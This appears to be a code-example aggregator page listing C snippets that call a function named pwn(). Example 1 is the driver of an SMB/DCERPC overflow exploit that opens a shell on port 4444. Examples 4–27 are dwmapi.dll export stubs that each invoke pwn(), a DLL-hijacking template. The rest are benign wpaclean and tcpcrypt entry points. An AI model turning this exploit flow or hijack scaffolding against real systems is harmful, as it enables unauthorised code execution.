コード例 #1
0
int main(int argc, char **argv)
{
   if(argc < 3)
      exp_help();
   else
      process_args(argc, argv);

   printf("[+] Connecting target %s\n", target_host);
   connect_host(inet_addr(target_host), 139);

   printf("[+] Setting up SMB Session\n");
   session_setup();

   printf("[+] Triggering up DCERPC reassembly\n");
   build_trigger();
   pwn();

   printf("[+] Triggering overflow\n");
   build_pwnage();
   pwn();
   disconnect_host();
   
   sleep(1);
   printf("[+] Attempting to join shell\n");
   connect_host(inet_addr(target_host), 4444);
   join_shell(sock);

   return 0;
}
コード例 #2
0
int main(int argc, char *argv[])
{
	char *out;
	int i;

	if (argc < 3) {
		printf("Usage: %s <out.cap> <in.cap> [in2.cap] [...]\n", argv[0]);
		exit(1);
	}

	out = argv[1];
	_outfd = open_pcap(out);

	for (i = 2; i < argc; i++) {
		char *in = argv[i];
		int prog = (int) (((double) (i - 1)) / ((double)(argc - 2)) 
				   * 100.0);

		printf("Pwning %s (%d/%d %d%%)\n", in, i - 1, argc - 2, prog);
		fflush(stdout);

		pwn(in);
	}

	printf("Done\n");
	exit(0);
}
コード例 #3
0
ファイル: wpaclean.c プロジェクト: JoeGilkey/carnivore
int main(int argc, char * argv[])
{
	if (argc < 3)
	{
		printf("Usage: %s <out.cap> <in.cap> [in2.cap] [...]\n", argv[0]);
		return (EXIT_FAILURE);
	}

	_outfilename = strdup(argv[1]);
	if (_outfilename == NULL)
	{
		perror("strdup()");
		return (EXIT_FAILURE);
	}

	for (int i = 2; i < argc; i++)
	{
		const char * in = argv[i];
		int prog = (int) (((double) (i - 1)) / ((double) (argc - 2))
#if defined(__x86_64__) && defined(__CYGWIN__)
						  * (0.0f + 100));
#else
						  * 100.0);
#endif

		printf("Pwning %s (%d/%d %d%%)\n", in, i - 1, argc - 2, prog);
		fflush(stdout);

		pwn(in);
	}

	// Cleanup
	free_data();

	printf("Done\n");
	exit(EXIT_SUCCESS);
}
コード例 #4
0
DllExport void DwmGetGraphicsStreamClient() { pwn(); }
コード例 #5
0
DllExport void DwmUnregisterThumbnail() { pwn(); }
コード例 #6
0
DllExport void DwmSetPresentParameters() { pwn(); }
コード例 #7
0
DllExport void DwmQueryThumbnailSourceSize() { pwn(); }
コード例 #8
0
DllExport void DwmIsCompositionEnabled() { pwn(); }
コード例 #9
0
DllExport void DwmDetachMilContent() { pwn(); }
コード例 #10
0
DllExport void DwmDefWindowProc() { pwn(); }
コード例 #11
0
DllExport void DWMAPI_120() { pwn(); }
コード例 #12
0
DllExport void DWMAPI_119() { pwn(); }
コード例 #13
0
DllExport void DWMAPI_108() { pwn(); }
コード例 #14
0
DllExport void DwmEnableComposition() { pwn(); }
コード例 #15
0
DllExport void CPAcquireContext() { pwn(); }
コード例 #16
0
DllExport void DwmGetGraphicsStreamTransformHint() { pwn(); }
コード例 #17
0
DllExport void DwmGetTransportAttributes() { pwn(); }
コード例 #18
0
DllExport void DwmEnableBlurBehindWindow() { pwn(); }
コード例 #19
0
DllExport void DwmModifyPreviousDxFrameDuration() { pwn(); }
コード例 #20
0
DllExport void DwmEnableMMCSS() { pwn(); }
コード例 #21
0
DllExport void DwmSetDxFrameDuration() { pwn(); }
コード例 #22
0
DllExport void DwmExtendFrameIntoClientArea() { pwn(); }
コード例 #23
0
DllExport void DwmSetWindowAttribute() { pwn(); }
コード例 #24
0
DllExport void DwmFlush() { pwn(); }
コード例 #25
0
DllExport void DwmUpdateThumbnailProperties() { pwn(); }
コード例 #26
0
DllExport void DwmGetColorizationColor() { pwn(); }
コード例 #27
0
DllExport void DwmGetCompositionTimingInfo() { pwn(); }
コード例 #28
0
ファイル: tcpcryptd.c プロジェクト: Inzulus/tcpcrypt
int main(int argc, char *argv[])
{
	int ch;

#ifdef __WIN32__
	WSADATA wsadata;
	if (WSAStartup(MAKEWORD(1,1), &wsadata) == SOCKET_ERROR)
		errx(1, "WSAStartup()");
#endif

	_conf.cf_port 	     = 666;
	_conf.cf_ctl  	     = TCPCRYPT_CTLPATH;
	_conf.cf_test 	     = -1;
	_conf.cf_test_server = "check.tcpcrypt.org";

	while ((ch = getopt(argc, argv, "hp:vdu:camnPt:T:S:Dx:NC:M:Rifs:V"))
	       != -1) {
		switch (ch) {
		case 'i':
			_conf.cf_disable_timers = 1;
			break;

		case 'R':
			_conf.cf_rsa_client_hack = 1;
			break;

		case 'M':
			_conf.cf_mac = atoi(optarg);
			break;

		case 'C':
			_conf.cf_cipher = atoi(optarg);
			break;

		case 'N':
			_conf.cf_nat = 1;
			break;

		case 'D':
			_conf.cf_debug = 1;
			break;

		case 'S':
			profile_setopt(PROFILE_TIME_SOURCE, atoi(optarg));
			break;

		case 'x':
			add_param(&_conf.cf_divert_params, optarg);
			break;

		case 'T':
			add_param(&_conf.cf_test_params, optarg);
			break;

		case 't':
			_conf.cf_test = atoi(optarg);
			break;

		case 'P':
			_conf.cf_profile++;
			break;

		case 'n':
			_conf.cf_dummy = 1;
			break;

		case 'a':
			_conf.cf_accept = 1;
			break;

		case 'm':
			_conf.cf_modify = 1;
			break;

		case 'c':
			_conf.cf_nocache = 1;
			break;

		case 'u':
			_conf.cf_ctl = atoi(optarg);
			break;

		case 'd':
			_conf.cf_disable = 1;
			break;

		case 'p':
			_conf.cf_port = atoi(optarg);
			break;

		case 'v':
			_conf.cf_verbose++;
			break;

		case 'V':
			printf("tcpcrypt version %s\n", TCPCRYPT_VERSION);
			exit(0);

		case 'f':
			_conf.cf_disable_network_test = 1;
			break;

		case 's':
			_conf.cf_test_server = optarg;
			break;

		case 'h':
		default:
			usage(argv[0]);
			exit(0);
			break;
		}
	}

	resolve_server();

	if (signal(SIGINT, sig) == SIG_ERR)
		err(1, "signal()");

	if (signal(SIGTERM, sig) == SIG_ERR)
		err(1, "signal()");
#ifndef __WIN32__
	if (signal(SIGPIPE, SIG_IGN) == SIG_ERR)
		err(1, "signal()");
#endif
	profile_setopt(PROFILE_DISCARD, 3);
	profile_setopt(PROFILE_ENABLE, _conf.cf_profile);

	pwn();
	cleanup();

	exit(0);
}